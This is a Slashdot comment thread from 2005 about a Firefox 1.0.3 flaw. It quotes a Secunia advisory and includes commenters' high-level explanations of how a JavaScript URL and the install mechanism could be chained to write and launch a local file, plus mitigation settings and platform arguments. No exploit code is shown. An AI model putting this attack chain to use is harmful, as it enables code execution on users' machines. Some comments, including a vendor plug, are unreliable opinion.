  63. Secunia: Extremely Critical by MarkByers · · Score: 5, Informative

    Secunia have already released an advisory explaining how the exploit works:

    http://secunia.com/advisories/15292/

    This is the first Firefox exploit that has received the rating 'Extremely Critical'.

    --- Extract from Secunia's site ---

    Description:
    Two vulnerabilities have been discovered in Firefox, which can be exploited by malicious people to conduct cross-site scripting attacks and compromise a user's system.

    1) The problem is that "IFRAME" JavaScript URLs are not properly protected from being executed in context of another URL in the history list. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an arbitrary site.

    2) Input passed to the "IconURL" parameter in "InstallTrigger.install()" is not properly verified before being used. This can be exploited to execute arbitrary JavaScript code with escalated privileges via a specially crafted JavaScript URL.

    Successful exploitation requires that the site is allowed to install software (default sites are "update.mozilla.org" and "addons.mozilla.org").

    A combination of vulnerability 1 and 2 can be exploited to execute arbitrary code.

    NOTE: Exploit code is publicly available.

    The vulnerabilities have been confirmed in version 1.0.3. Other versions may also be affected.

    Solution:
    Disable JavaScript.

    --
    I'll probably be modded down for this...
    1. Re:Secunia: Extremely Critical by AchilleTalon · · Score: 1
      It's strange, but my Firefox 1.0.3 setup on Linux, which has never been changed with regard to this option, has install software switch on, however, the whitelist is empty. So, it is not vulnerable by default.

      I agree a browser has nothing to do with the capability to run arbitrary programs on the system it is running on. That shouldn't have been possible in the first place.

      --
      Achille Talon
      Hop!
  64. Re:I'm not too worried by Anonymous Coward · · Score: 0

    Posting from Konqueror on Linux

    pretty fucking impressive! thanks for the heads-up

  65. Ugh by Anonymous Coward · · Score: 0

    Bring on the "OMG i WiLL SWiTCH TO iE L0L0L" jokes.

  66. EXE or BAT file? by eno2001 · · Score: 1

    This means the exploit is Windows only. If Microsoft did a better job of locking people out of the Administrator account, this would not be an issue. MS should make using the Administrator account as difficult as possible and there really should be an exam that users need to pass before they are authorized to have access to it. I'd like to see this exploit even try to do this on a properly configured *nix system where the user is smart enough to know not to run as root. In fact, I would go as far as saying that the browser itself should not allow users to run it if they are logged in as Administrator or root without having the knowledge as to how to do it. Hehe. We need to take exams to get a driver's license, the same should be done with computers. Of course, look at the number of people who don't follow the rule of the road (obeying speed limits, using turn indicators, NOT tailgating, etc...) and I suppose an exam like this wouldn't totally stop the idiots from turn the on switch on.

    --
    -"...bad old ideas look confusingly fresh when they are packaged as technology" - Jaron Lanier (Digital Maoism on Edge.o
    1. Re:EXE or BAT file? by Anonymous Coward · · Score: 0

      This means the exploit is Windows only.

      great analysis. looks like you have a really deep understanding of the vulnerability

    2. Re:EXE or BAT file? by Anonymous Coward · · Score: 0
      This means the exploit is Windows only
      Nope. The exploit can be trivially amended to run arbitrary code on Linux, also. Windows was chosen for the demo as more people have access to a Windows machine than any other, so it will have more impact.
    3. Re:EXE or BAT file? by drinkypoo · · Score: 1

      It doesn't matter if you can't get into the Administrator account, because a user's data is in their user account, and they wouldn't want to lose that - and they have permissions to it.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    4. Re:EXE or BAT file? by Anonymous Coward · · Score: 0

      Care to point me towards any wide-spread exploits, for any app, on any platform, that actually delete user's data? Thought not.

    5. Re:EXE or BAT file? by Anonymous Coward · · Score: 0

      Everyone! keep running under admin account, we don't want exploits that delete our userdata.

    6. Re:EXE or BAT file? by drinkypoo · · Score: 1

      the majority of viruses from the old days, some of which still work if you don't have antivirus software, destroy data files, and every other file they have access to.

      --
      "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
    7. Re:EXE or BAT file? by Anonymous Coward · · Score: 0

      Many of those email worms do things like replace MP3 and JPG files with copies of the worm.

    8. Re:EXE or BAT file? by eno2001 · · Score: 1

      Again... this would illustrate the ignorance of a typical user (not directed at you). Users should know to backup their own data if it's vaulable to them. This is something that should be the requirement of getting authorized to use a computer. If a user isn't smart enough to backup up their data and to understand why that's important, they shouldn't be using a computer. Or... if the OS isn't smart enough to back up the data for the user, it shouldn't be running on a CPU and loaded into RAM. ;P

      The important thing about not running as root or Administrator is that it keeps exploits from being able to gain deeper control of the system (barring buffer overflows). Sure, the user might lose their data, but that's more of an inconvenience than a problem if they are backing it up. The positive thing about not running as root or Administrator is that they don't have to wipe the machine because they don't know how deep the infection went. Running as a regular user also prevent data loss/infection for other users on the system. (If people aren't doing multiple logins at home for each member of the family in XP, they're stupid) Again, understanding the importance of using multiple logins and implementing them should be a requirement for authorization to use a computer.

      The real problem is that computer OSes aren't easy enough for most people. XP makes a lot of things dead simple, but if a user has to click more than twice, they're not going to do what they should be doing. If we required authorization and imposed fines on people who run infected machines on the net at home, they'd probably learn enough to get by or pay someone to do it for them. Just like cars... people don't wnat to change their oil, but they need to. Same thing.

      --
      -"...bad old ideas look confusingly fresh when they are packaged as technology" - Jaron Lanier (Digital Maoism on Edge.o
  67. Prefbuttons extension by LilaMilkaKuh · · Score: 1

    go to
    http://extensionroom.mozdev.org/more-info/prefbutt ons
    and install the prefbuttons extension.

    Then "customize toolbar" and drag the send-referrer-checkbox to your toolbar.

  68. Not an exploit of Firefox IMO by Anonymous Coward · · Score: 0, Flamebait

    You have to have the FlashGot extension *and* and download manager for this to work.

    I don't and I tried this several times and the c:\boom.bat was never created.

    Looks to me "security" "specialists" in France are quite clueless.

  69. Re:I'm not too worried by Space_Balls · · Score: 1

    Hey, I'm happy to get anything working on Windows,
    seems like this code is not one of those things?

    --
    this.showSig(false)
  70. Just goes to show... by Foo-Barz · · Score: 0

    That all software has bugs, and theres no real point in pointing fingers at any one software company, large or small, open source or not.

  71. dialers for Firefox by The+MESMERIC · · Score: 1

    ... here they come.
    Does the code work on SP2?

  72. Exploit didn't work for me by Anonymous Coward · · Score: 1, Interesting

    I tried the proof-of-concept exploit provided, but it didn't seem to work. I loaded the page, and clicked it like a mad-man.. nothing.

    My system is GNU/Linux running Firefox 1.

  73. I second that by 50m31sl4sh. · · Score: 0

    Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3

    Clicked on the page several times - nothing happens except a couple of javascript errors.
    Are these "security researchers" trying to get free publicity?

    --
    Rediculous is ridiculous!
  74. Batch/Exe by Anonymous Coward · · Score: 0

    Well, I'd better protect my Linux and OS X boxes, then...

  75. MOD PARENT UP by Anonymous Coward · · Score: 0

    If a malicious site has been added to the whitelist, then you've probably already installed malicious software from it. The default install does not appear exploitable.

  76. Exploits found based on popularity by TintinX · · Score: 1

    This just goes to show that the more popular an application, the more people will try and find exploits for it.
    As FF's marketshare grows, so will the number of exploits found.

  77. I'm running Firefox 1.03 Windows XP, see nothing by hqm · · Score: 1

    I tried loading the exploit web page , but nothing happens.

    There must be more factors needed to enable this this that they didn't elaborate on.

  78. Rooted? Blame user! by MarkByers · · Score: 2, Interesting

    If you are running your web browser as root, and you get rooted, then it is your fault.

    Don't run as root unless you have to.

    --
    I'll probably be modded down for this...
  79. The lesson I learned by Anonymous Coward · · Score: 0

    The lesson I've learned is that building secure applications on windows is like a house with a foundation of sand.

  80. Firefox vs. IE by Anonymous Coward · · Score: 0

    create and execute a malicious batch/exe file.

    How does this affect systems where user is restricted priviledge-wise? If you're on a Unix-style system (includes OS X?), wouldn't the worst that could happen is that it could hose your $HOME? (You would be able to restore from your backups. (Backups, right?))

    Or the attacker could scan for personal information through the script and do some identity theft (probably worse then the deletion of $HOME).

    One thing people forget with IE is that the program is just a front-end to Windows' HTML rendering libraries. If there's an issue with that library then all the programs that uses it are affected (like Outlook?). The libraries of FF are less likely to be used by other programs.

    In the same vein if OS X's WebKit ever had an issue it would be a big deal since just about all programs that deal with HTML on the Mac use it since it works pretty well and the APIs are so convenient to use.

    Not defending either set up or software, just some ideas on how things are organized by the two programs.

  81. Well... by Anonymous Coward · · Score: 0

    Either way, this exploit requires a Windows based system... hmmm... I guess I'm safe either of my primary systems - FreeBSD and Slackware...

  82. What's up with the Windows version?! by bhunachchicken · · Score: 1

    At work I currently run FireFox 1.03 on Windows and at home I run Firefox 1.00 on Mandrake Linux.

    I've not had to upgrade the Linux version yet due to any security scares, so what is with the Windows version?

    Are the coders doing a bad job or is it actually Windows that is the problem?

  83. CSA wil stop this by saridder · · Score: 0, Offtopic

    That's why you need Cisco Security Agent. It stops Day 0 attacks, virii spyware, worms, etc.. Does use signatures and has never been compromised yet.

    www.cisco.com/go/csa

    --
    --- RFC 1149 Compliant.
  84. Geez, just set umask to 122 by Anonymous Coward · · Score: 0

    And turn off all those executable bits.

    Unless Firefox resets it for you. In which case, LD_PRELOAD a library that intercepts the umask() library call.

  85. Does this affect regular mozilla? by Danathar · · Score: 1

    Any information if this affects regular mozilla?

  86. I suppose then by jim_v2000 · · Score: 1

    That it is a good thing that the Firefox download is only 5 mb...

    And how often to people actually download the IE updates? As a phone support guy, I can tell you that 9 out of ten people who call in have never run Windows update. At least Firefox lets you know when there is an update available for it. Windows Update just sits in the corner and tells you that updates are available in general...no hints as to what updates.

    --
    Don't take life so seriously. No one makes it out alive.
    1. Re:I suppose then by Deathlizard · · Score: 1

      IE tells you when there's an update available too, the problem is that MS hasn't released a browser update in over a year, and when they do they tie it was their service packs. As for Windows Update, if you click on the updates icon and select Advanced install, it will list every patch that was downloaded and information on what it patches, but most people are going to ignore it and it will force the install the next day.

      As XP Service Pack 2 replaces the older windows XP builds out there, you'll see the patch scenario get better over time, since it forces all updates to install unless you specificially tell it not to install them, and most people will not mess with the default settings that XPSP2 has. The problem with this is it's practically going to take a complete PC 5 year cycle before you see it.

    2. Re:I suppose then by Anonymous Coward · · Score: 0

      XP SP2 forces the patches onto users by default. Maybe a few years ago 90% of people weren't patching, but I'm sure that number is far less now.

  87. It's a microsoft plot... by Anonymous Coward · · Score: 0

    All these exploits being found is proof M$ is just trying to damage the credibility of FOSS by finding bugs in our popular software. Storm the gates of Redmond so we can go back to our stuffy elitist thinking as soon as possible!

  88. Fixes for large sites by shirro · · Score: 5, Informative

    For people running Firefox in a business or school with centrally locked down settings I think a quick fix might be to add

    lockpref("xpinstall.enabled","false");

    xpinstall.enabled seems to be the preference changed by "Allow websites to install software"

    1. Re:Fixes for large sites by Anonymous Coward · · Score: 1, Informative

      If your running in a centrally locked down setting you might also want to add

      lockPref("extensions.update.enabled","false");

      this wont let your user update themes,xpi extensions, etc. that you've setup.

  89. Linux and MacOS vulnerable, too by Animats · · Score: 5, Insightful
    This exploit will work on Linux and MacOS, too, if anybody bothers to write an attack for them.

    The basic problem is that the Mozilla developers, in their futile attempt to create a "platform", put in a mechanism comparable to Active-X - a way to dynamically download executable programs. Of course, they tried to make sure this "feature" could not be used for purposes of evil. Like Microsoft, they failed.

    Understand, this isn't subtle. The code uses built-in Mozilla JavaScript extensions to create a local file in a very straightforward way. It then calls "nsILocalFile::launch()" (which does exactly what you think it does) to launch it. Those are capabilities that shouldn't be in a browser's JavaScript engine at all.

    Having designed in a potential security hole big enough to drive a semitrailer through, they tried to make it "secure" with the usual crap approaches - signatures, lists of trusted sites, and disabling for certain types of URLs. They failed. They forgot to make those checks for "favicon.ico" files (Mozilla's implementation of a Microsoft icon-in-the-toolbar gimmick.)

    Plugging that hole is not the answer. The problem is more fundamental. "nsILocalFile::launch()" needs to be removed. Browsers have no business launching arbitrary executable programs. Period.

    1. Re:Linux and MacOS vulnerable, too by Pecisk · · Score: 1

      Maybe. But I guess that users who need stuff "just work" won't agree with you at all. Browsers are not some kind of specific apps, but thingy which is used by common crowd everyday.

      There should be a compromise. There is only 100% bulletproof, safe design - turn off the internet. Either way, there will be always problems.

      --
      user@ubuntubox:~$ stfu This server is going down for shutdown NOW!
    2. Re:Linux and MacOS vulnerable, too by Anonymous Coward · · Score: 0

      so, i'm not sure how much it's worth explaining to you, but...

      the javascript engine doesn't care or do any of this.

      for that matter, not even dom does much of it.

      this problem is equivalent to xpinstall having a buffer overflow exploit which allows code execution.

      as you pointed out at the beginning, nsILocalFile.launch() is a method for the platform.

      Perhaps firefox shouldn't expose a way to launch helper applications, and perhaps it shouldn't be possible for an ff extension to offer "view source in external editor".

      Personally, i'm all for removing extensibility of firefox, dropping support for helper applications and external view source. are you really a proponent of such things?

      remember, that if we did this, people would have to download extensions containing binaries, and then you can't even easily audit them to realize they're using say nsILocalFile.launch. *[I could try to audit them, but it's a terrible use of my time, plus i'd have to compile a list of every single api from each os that might end up spawning applications including ones that you might get from random third party libraries (gnome, acrobat, ...).]

    3. Re:Linux and MacOS vulnerable, too by Animats · · Score: 3, Insightful
      this problem is equivalent to xpinstall having a buffer overflow exploit which allows code execution.

      No, it's not. This isn't anything subtle like a buffer overflow. This exploit uses standard features to download an executable (which shouldn't be allowed) and then execute it (even worse). This is a designed-in hole. It passed Mozilla's code review on April 9, 2002.

      Personally, i'm all for removing extensibility of firefox, dropping support for helper applications and external view source. are you really a proponent of such things?

      Yes. The Netscape/Mozilla "browser as platform" thing didn't work out. That's why Firefox exists. Firefox has legacy code from the Mozilla era, and much of it needs to come out.

    4. Re:Linux and MacOS vulnerable, too by argent · · Score: 1

      The code uses built-in Mozilla JavaScript extensions to create a local file in a very straightforward way.

      These extensions shouldn't be available to remote sites, whether they're whitelisted or not.

      It then calls "nsILocalFile::launch()" (which does exactly what you think it does) to launch it.

      This shouldn't be available to remote sites, whether they're whitelisted or not.

      If these functions can only be executed by code that's already been installed, then it opens up no more exposure than any other plugin mechanism. There's two separate failures in the design that had to happen to make this a problems.

      First, rather than have the installation done by a request from outside the web page, the installation was done because the web page was whitelisted.

      Second, instead of asking the user before granting extra rights for the whitelisted site, they granted extra rights first.

      Both of these flaws can be fixed and the user-experience will not change in the slightest. The best possible way to do this is to not even have the hooks that enable the extension mechanism in the object tree and symbol table unless they're explicitly added for files that are already installed. That way there's no reason to worry about favicons or other holes... the security mechnaism will "fail closed".

      Whether they will fix them or not, I won't try and guess, but they do have that option.

    5. Re:Linux and MacOS vulnerable, too by baadger · · Score: 1

      Yes. The Netscape/Mozilla "browser as platform" thing didn't work out

      Tell that to the hoards of developers using the Mozilla engine aka Gecko in their products.

    6. Re:Linux and MacOS vulnerable, too by Threni · · Score: 1

      > There should be a compromise. There is only 100% bulletproof, safe design - turn
      > off the internet. Either way, there will be always problems.

      Using that argument you could attempt to show there's no point putting any security at all. But you would fail. It's always worth doing as much as possible in anything related to security. The OP is quite correct. If a website has to have you execute an exe, it should force you to download it and then run it yourself.

    7. Re:Linux and MacOS vulnerable, too by Threni · · Score: 1

      What would you tell them?
      "Hey guys, the whole Netscape/Mozilla "browser as platform" thing didn't work out, so you have to stop using Gecko".
      "Why?"
      "Uh...cos...it's made by the same people?"

    8. Re:Linux and MacOS vulnerable, too by Anonymous Coward · · Score: 0

      Proper Security Design requires that thes mount points be placed on seperate partitions. This means a good design places /tmp /var /usr /home seperate from the / partition. By doing so you are able to ensure that /usr is mounted readonly, thus preventing overwriting of system and optional binaries. Keep /home & /tmp mounted with noexec to reduce many script attacts. This also protects / as it prevents it from being filled by a buggy app or attack.

      In the case of my linux box, this exploit is almost impossible to execute under normal circumstances as the principal avenues of attack have already been blocked.

    9. Re:Linux and MacOS vulnerable, too by baadger · · Score: 1

      I think it's fair to say as a 'suite' it is dying ("didn't work" is hardly the case, there are still Mozilla Suite users out there). But as a web rendering platform I think it's still developing quite well.

  90. Funny..,.. by Khyber · · Score: 0

    Last week I tried posting under Ask Slashdot about the possibility of Firefox somehow being exploited, after realizing that having only four programs installed and hadn't used IE except for the initial windows update.

    I guess I was right. Ah well, I tried warning everyone.

    --
    Still waiting on Serviscope_minor to wake up to fucking reality and realize that Jessica Price isn't going to fuck him.
  91. Root on Linspire by tepples · · Score: 2, Informative

    unlike in Windows, it also wouldn't have superuser privileges.

    Linspire (or at least older versions thereof) runs as superuser.

    1. Re:Root on Linspire by despisethesun · · Score: 1

      Not correct. I've set up Linspire for a few people and they all use regular user accounts. The problem is that Linspire doesn't push you hard enough to create those accounts.

      --
      This poo is cold.
  92. Over-rated bug by Anonymous Coward · · Score: 0

    http://secunia.com/advisories/15292/

    it says in the article

    "Successful exploitation requires that the site is allowed to install software (default sites are "update.mozilla.org" and "addons.mozilla.org")."

    I tryed it, it doesn't work.

    "Nothing to see here... go back to your homes and resume using firefox"

  93. Not everybody runs Windows XP by tepples · · Score: 2, Informative

    From a security standpoint, fully updated IE is much better than unupdated Firefox.

    Unfortunately, a legit copy of the full update to IE costs at least $100 for users of Microsoft Windows 2000 operating systems.

  94. Is this a design issue that will breed more bugs? by Beryllium+Sphere(tm) · · Score: 3, Insightful

    In a nutshell, Firefox has the idea that some sites are privileged (namely the sites on the whitelist for installing software), it lets privileged sites have a dangerous degree of control over the user's computer, and it has at least one way for unprivileged sites to execute code in the context of a privileged site.

    What are the important differences between this and Microsoft Internet Explorer? In MSIE some sites are in the Trusted Sites or Local Machine zones and therefore privileged. Such sites have a dangerous degree of control over the user's computer, and there have been many ways for unprivileged sites to execute code in the context of a privileged site.

    Is Firefox doing something better than IE in its design, or are we going to see a whole class of bugs like this one in the future?

  95. "What the hell is an 'extra user'?" by tepples · · Score: 1

    I've advocated running web browsers as a guest user for a while, but there are two problems:

    • What do you do when you want to download a file to your personal space? Or is "untrusted" given a few megs of disk quota so that you can copy the file out of "untrusted"'s My Documents?
    • More importantly, 90 percent of the Firefox browser's target audience doesn't know WTF "create an extra user" means.
  96. Javascript ! Will it ever go away ? by zymano · · Score: 0, Flamebait

    This exploit just like a ton of others uses javascript. The language that has no purpose anymore.

    Why can't we modify it or find something to replace it ?

    1. Re:Javascript ! Will it ever go away ? by cicho · · Score: 4, Insightful

      " javascript. The language that has no purpose anymore."

      Look into Firefox's chrome directory and say that again.

      --
      "Only the small secrets need to be protected. The big ones are kept secret by public incredulity." - Marshall McLuhan
    2. Re:Javascript ! Will it ever go away ? by Anonymous Coward · · Score: 0

      Well I suppose it does have no purpose unless you want nonstatic pages...

    3. Re:Javascript ! Will it ever go away ? by TheHonestTruth · · Score: 2, Insightful
      The language that has no purpose anymore.

      Seriously, it's not like google uses it for gmail or anything... oh wait.

      -truth

      --

      I had a steady B+ in my AI class until I failed the Turing test...

    4. Re:Javascript ! Will it ever go away ? by Ryosen · · Score: 1

      >>Why can't we modify it or find something to replace it ?

      Have you checked out JScript? It's like Javascript on steroids! /okay, i'll sit back down now.

      --

      Ryosen
      One man's "Troll, +1" is another man's "Insightful, +1".
    5. Re:Javascript ! Will it ever go away ? by TelJanin · · Score: 1

      I'd much rather people use Javascript than Flash or ActiveX for their dynamic pages.

    6. Re:Javascript ! Will it ever go away ? by VGPowerlord · · Score: 1
      ECMAScript (the Javascript standard) is the core of what we generally term "DHTML". So, you won't see it going away any time soon.

      P.S. Microsoft already tried to replace it with VBScript.

      --
      GLaDOS for President 2016! "Well here we are again. It's always such a pleasure." -- GLaDOS, 2011
    7. Re:Javascript ! Will it ever go away ? by bluephone · · Score: 1
      "Seriously, it's not like google uses it for gmail or anything... oh wait."

      Yeah, well, at least Maps doesn't use it. Er, rats...

      Well, we could always replace it with VBscript!

      --
      jX [ Make everything as simple as possible, but no simpler. - Einstein ]
  97. IE-only web sites compound this by tepples · · Score: 1

    specifically windows, right? haven't gotten too many .exe running on my mac,

    If you have to deal with the web site of a government, the only bank with branches in town, or some other monopoly, and that web site works only with IE for Windows, then you have to run IE in Virtual PC in order to access that web site.

  98. Batch/EXE by kg4gyt · · Score: 2, Informative

    Sounds like a windows only vulnerability. Are the Mac and Linux versions open to the hole as well?

  99. Does it affect the mozilla suite? (seamonkey) by johansalk · · Score: 2, Interesting

    Well that's the essential question. If it doesn't I'd rather flee to mozilla suite than IE.

  100. Want cheese with that WINE? by tepples · · Score: 1

    Quit whining and start WINEing.

  101. Trusted Sites Only? by sepluv · · Score: 2, Informative

    The security advisory doesn't explain it too well, but it it seems to imply that this only happens with sites that you've added to your list of sites trusted to install software (in which case it isn't really much of a problem).

    --
    Joe Llywelyn Griffith Blakesley
    [This post is in the public domain (copyright-free) unless otherwise stated]
    1. Re:Trusted Sites Only? by sepluv · · Score: 1
      Anyway, I don't have JS enabled (which is required).

      Even if I did, the build I'm using has no one on the trusted sites list by default and I haven't added anyone.

      Therefore my chance of getting hit by this is 0.000000000000000000000000000000000000000%.

      Ooo..that looks like a big number...I best move to MSIE immediately. Also, you know it is much better because it has this kooooooll feature were it runs arbitrary code from a normal HTML page from any site without even pestering you for permission..it's had this feature for years...now that is what I call ease of use and long before this new-fangled Foxfire thing ever existed.

      --
      Joe Llywelyn Griffith Blakesley
      [This post is in the public domain (copyright-free) unless otherwise stated]
    2. Re:Trusted Sites Only? by sepluv · · Score: 2, Interesting
      Even when I give it authorisation and enable JS, I cannot get the exploit to work.

      Anyhow quoting the article:

      Update (08.05.2005) - The Mozilla Foundation patched (partially) this issue on the server side by adding random letters and numbers to the install function, which will prevent this exploit from working.
      --
      Joe Llywelyn Griffith Blakesley
      [This post is in the public domain (copyright-free) unless otherwise stated]
  102. It's not that easy... by DarkAvZ · · Score: 2, Insightful

    With propietary software it's easier to implement a binary update feature, since you're the only one that gets to compile the source code. However, since Firefox is free software (you know, free as in free speech), everybody can compile it, using perhaps different optimizations (portage comes to mind), so implementing a binary update for Firefox (or any other free software for that matter) is quite difficult.

    --
    09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0
    1. Re:It's not that easy... by EvilJoker · · Score: 3, Informative

      Mozilla provides a number of builds- Windows, MacOS X, and Linux i686, and each in a wide variety of languages.

      These are the ONLY builds they should be worried about patching (and if they could make it language independent, it would be 3 packages). Everyone else gets the source code. Let Portage figure out how to update things.

  103. Apparently you also have to whitelist the site! by aug24 · · Score: 1

    Only works if the site is allowed to install software. Not too likely that is allowed to do that. Still critical, but waaaaay difficult to utilise.

    Justin.

    --
    You're only jealous cos the little penguins are talking to me.
  104. Microsoft programmers start working on Firefox by Anonymous Coward · · Score: 0

    "Allow web sites to install software"

    Now there's something only microsoft would think was OK.

    So microsoft programmers must have started working on the Firefox code!

    Why did you people let them?

    And who the F*ck thought up that brilliant "option"?

    You people need to get a clue.

    This one is beyond STUPID!

    Letting people you don't know program your computer from remote is STUPID enough (javascript and java) but this one takes the cake.

    Turn that crap off!

    And you idiots that think they know how to make web sites, STOP PUTTING JAVASCRIPT ON YOUR SITES!

    Stupid!

  105. Sad. Depressingly sad. by Spy+der+Mann · · Score: 1

    So far, Firefox had been free of remote execution vulnerabilities - let alone EXPLOITS using javascript.

    A black spot in Firefox's history.

    1. Re:Sad. Depressingly sad. by Arimus · · Score: 1

      Being pessemistic I don't think we can say Firefox has been until today 100% free of exploits - just none have been discovered or published.

      --
      --- Users are like bacteria -> Each one causing a thousand tiny crises until the host finally gives up and dies.
    2. Re:Sad. Depressingly sad. by eclectro · · Score: 1

      While I would say this is a serious issue, I would not rank it with the other (numerous) jaw-dropping exploits IE has had.

      --
      Take the cheese to sickbay, the doctor should see it as soon as possible - B'Elanna Torres, "Learning Curve"
  106. Read parent again. by FrothyBitter · · Score: 1

    "I'll take firefox over IE's Broken/Incomplete..."

    If you prefer Firefox then by all means use it. That is your choice. If you want to persuade others to choose to use it as well, then everyone involved would be better served by a knowledgeable summary of its strengths and weaknesses so that they can make an informed decision of their own.

    You are doing a disservice to everyone if you just say it sucks less than IE. I can't speak for the Firefox/Mozilla developers, but personally my goal for an application I develop wouldn't be that it suck less than something else. Nor as an end user would I find the "sucks less" argument all that compelling.

    Furthermore, I find comments like, "Interweb-monopoly-lock-in-Explorer", to be quite telling as to the motivation of a persuader. Clearly you have a lot of baggage when it comes to Microsoft and your opinion of MS products is there for highly suspect.

    Not to say that I wouldn't take it on the chin a few times to support a product from an entity that strives to server a higher cause. However, in the personal computer industry there's really only the big 3: Microsoft, Apple, and Open Source.

    Microsoft has indeed clearly demonstrated that their ultimate goal is to amass huge sums of money. Their greatest tool to that end being locking down data with proprietary formats. However, the personal computer end user rarely feels the brunt of their greed as it is generally directed at other huge corporations. I only give Microsoft money when I buy a new Windows OS or a computer with it pre-installed.

    Apple is every bit as money hungry as Microsoft. However, their greed is focused squarely on the personal computer end user. They are locked in tighter than Microsoft could ever dream of becoming. Every "innovative technology" they come up with comes at a monetary price to the end user. They do everything they can to lock in proprietary formats and technologies while still being able to compete.

    Finally there is Open Source. Most think that being OSS automatically implies a selfless desire to serve humanity. In my experience this has almost never been the actual case. While OSS is monetarily free, almost all OSS begs and nags for donations. Furthermore, and really despite this appeal for donations, they wrap themselves in a cloak of "Hey, I'm doing this in my free time, for free. You have no right to complain about anything. This includes functionality, features, bugs, and development schedule." Often OSS products remain in beta for years while they amass a large user base and then discontinue the OSS product to transition to a proprietary product. Which as a result reduces OSS to a marketing tool. Of course, not all OSS is abandoned for pursuit of a proprietary product, sometimes it's abandoned just because the developers got tired of developing it. Or often times people can't agree and development splinters off into competing products with mixed features and functionality. The end result is that each OSS product has to be evaluated independently and it's extremely difficult to ascertain motivation of the developers and by extension the longevity of the product.

    Years ago I wanted to add a forum to my website. After looking at hundreds of competing OSS products I found a very nice one. On the main page the developers said something to the effect that apache is free, php is free, mysql is free, why should a BBS built on all these technologies be hundreds of dollars? I was impressed by this, until years later I went looking for a forum for my website and came across this product which was now proprietary costing hundreds of dollars.

    The point being, there are few products that exist solely for the betterment of mankind. Therefore in almost all cases you are supporting not only a product, but the entity that created it and its agenda. With Apple and Microsoft that agenda is shareholder profit, but they are very open about this fact. With OSS the agenda is largely unknown. While for the most part end user satisfaction is neither their primary concern nor in opposition to their agenda.

    All you can do as an end user is make an informed decision that best meets your needs.

    1. Re:Read parent again. by Anonymous Coward · · Score: 0
      Firefox is a better, more current product.
      All you can do as an end user is make an informed decision that best meets your needs.

      And awareness of Microsofts past and current behaviour is part of making that decision, you know; the "informed" part ;-)

  107. Microsoft is a stagecoach company. by rice_burners_suck · · Score: 0, Flamebait
    Yeah, this is a big huge exploit. But Firefox on its worst day is still infinitely more secure than anything Microsoft is capable of producing even on their best day. Let me explain:

    If this were Microsoft Firefox, I'd give it four to ten years before Microsoft even addressed the problem. Then, the problem would be "fixed", meaning that Microsoft wouldn't repair the code that causes it, but would instead slap another 10,000 lines of buggy code on top of the problem to detect whether each web page accessed is going to do this, and then display a window that asks the user some obscure technical question with a "do you wish to continue? yes/no", to which, of course the user will answer "yes" (without even reading the question) and then it's not Microsoft's fault anymore. And then Norton, Symantec, McAfee, and ten other companies will release software that runs in the background, slows your computer to a crawl, detects the same problem, and puts up a similar warning.

    But this is not Microsoft Firefox. And the vulnerability wasn't posted on firefox-security or some obscure mailing list or blog. The vulnerability is posted all over the front page of Slashdot, where a million programmers are going to see it within the next fifteen minutes.

    I give it a couple of hours and Firefox 1.0.4 is out.

    And that, my friends, is why Firefox is more secure than MSIE. Microsoft. Where do you want to go today?

  108. Marketshare brings exploits by xswl0931 · · Score: 1

    I recall many times that people here like to say how much more secure open source is. And then others on the other side bring up the theory that Windows has more exploits due to its marketshare. (In other words, why would someone spend time creating or finding an exploit that affects a small number of users?) It seems that this theory is proving to be true as Firefox continues to gain marketshare, it also continues to have security bugs. Note that is probably also because Firefox is getting more complex and with more complex software, you increase the likelihood of bugs.

    1. Re:Marketshare brings exploits by bcs_metacon.ca · · Score: 1

      Utter nonsense. The exploit is in the Windows version of Firefox. It doesn't affect other operating systems. The marketshare of a software package doesn't make exploits in it more likely. The quality of the OS-layer code that allows a software package exploit to damage something outside the confines of the software package is the true story here, and that has nothing to do with marketshare and everything to do with bad programming in either Windows or the Windows port of Firefox.

      And besides, Apache is way more complex than IIS, has a much higher marketshare, and not nearly the number of exploits. It all comes down to code quality, and Open Source produces better code, period.

      --

      How appropriate. You fight like a cow.
    2. Re:Marketshare brings exploits by Anonymous Coward · · Score: 0

      If I still did the whole exploiting systems things, I would be trying for MacOS X systems, any brand/flavor of un*x. Exploiting Windows has always been trivial at best. I really don't see why these people bother. It's not like they are doing anything particularly NEW here.

  109. Earth by Catskul · · Score: 1

    Yeah, well thats what they said about Earth.

    --

    Im not here now... Im out KILLING pepperoni
    1. Re:Earth by A+beautiful+mind · · Score: 1

      Yeah, it was supposed to be a joke, oh magnificent Catskul hero, fellow partner of Captain Obvious.

      --
      It takes a man to suffer ignorance and smile
      Be yourself no matter what they say
  110. Even more useful (to an attacker) by acb · · Score: 2, Insightful

    would be a script which downloads and installs a rootkit and/or IRC-controlled spam relay.

  111. Not countless by r_jensen11 · · Score: 0
    There are countless OSS projects where no one but the author ever bothers looking at the code

    There are 42 OSS projects where no one but the other ever bothers to look at the code.

  112. Not true... by Anonymous Coward · · Score: 0

    When the patch for Mozilla Firefox 0.10.1 came out, it was about 10 kilobytes in size. It was installable through the XPI install process. Fundamentally, the bug was in the Mozilla user-interface, so the fix was fairly small and easy.

  113. Why allow creating any files at all? by Chemisor · · Score: 1

    > Why on earth the browser thinks it's necessary to allow
    > scripts to create executeable files is beyond me.

    Why on earth would the browser allow scripts to create any files at all? Is there some legitimate usage for this capability? I would not expect any new files on my computer unless I explicitly download them.

    1. Re:Why allow creating any files at all? by cortana · · Score: 1

      And hence, the browser has to create the file...? :)

    2. Re:Why allow creating any files at all? by Holi · · Score: 1

      Umm, cookies are files. Cached pages and images are files. So yes the browser does have legitimate uses for writing files.

      --
      Sorry, teleporters just kill you and then make a copy. A perfect, soul-less copy.
    3. Re:Why allow creating any files at all? by Chemisor · · Score: 1

      > cookies are files. Cached pages and images are files.

      The browser is writing those. My question is why should scripts be allowed to write anything? Yes, the browser writes cookies, but there is no reason for this functionality to be exposed in any other way than "set cookie to x" to anything outside the browser executable. Scripts should have no access to internal APIs whatsoever. IMO, scripts should be running in a sandboxed interpreter, not allowed to do write, read, or modify anything outside the webpage that they are embedded in.

    4. Re:Why allow creating any files at all? by david_costanzo · · Score: 1
      My question is why should scripts be allowed to write anything?

